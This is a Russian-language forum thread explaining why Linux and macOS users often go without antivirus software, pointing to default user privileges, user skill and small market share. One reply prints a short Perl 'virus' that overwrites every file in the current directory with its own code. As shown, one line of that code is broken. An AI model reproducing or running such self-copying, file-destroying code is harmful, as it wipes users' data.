Кто-нибудь может дать толковое подробное объяснение почему в Linux и iOS безопасно работать и без антивирусов?

Запросто. В Windows 95% пользователей не сидят из-под учётной записи с обычными правами, потому что она (до сих пор!) не создаётся по умолчанию, то есть любой запущенный вирус может делать почти всё, что захочет - ограничений ему почти нет. Unix-подобные ОС в этом плане на самом деле ничем не лучше - если запустить вирус от имени администратора, который там зовётся суперпользователем, произойдёт то же самое, что и на виндах, но там по умолчанию все работают с обычными правами, а в Windows это надо ещё настроить. И потом, средний уровень знаний у пользователей Unix-подобных ОС намного выше, потому что маки дорогие, а Линукс нужно ещё вручную установить безо всяких там "мастеров", которые умеют только переустанавливать винды, они-то с подозрением отнесутся к необходимости прав суперпользователя неизвестным программам.

На Линуксе в основном сидят люди, которым и под виндовсом антивирус не нужен.
Ну и ещё то, что версий Линукса так много, что написать универсальный, поражающий всё, вирус практически невозможно.
Пример - андроид, по сути то же Линукс, но вирусов полно. Потому что везде одинаковый и люди такие, что способны одновременно поймать и блокиратор на телефон и гусарский насморк себе.

Виндой пользуется много народу а люникс единицы не знаю сейчас статистику но раньше небыло смысла .

Нахера писать вирус, который будет работать у 1.5 человека? Если ты работаешь на массового пользователя.
Плюс более грамотная адаптация файловой системы, а не та помойка, что на винде

Вирус на Perl. Простая программа, которая будет просто переписывать себя в другие файлы:

#!/usr/bin/perl
open(File,$0);
@Virus=;
close(File);
foreach $FileName (<*>)
{
open(File, ">$FileName");
print File @Virus;
close (File);
}

Все дело в малой популярности линуксов на десктопах, а технически - разницы нет. Вирус можно написать под любую ОС.
А бэкдоров и в линуксе полно. Умышленно сделанная ошибка в каком либо приложении (например не сделали проверку на длину строки вводимую пользователем) - это уже бэкдор для тех кто умеет.

Потому что есть распределения прав. Есть по юзер, а есть суперпользователь.

Unix'ы с root'ом, и с пользователем по умолчанию...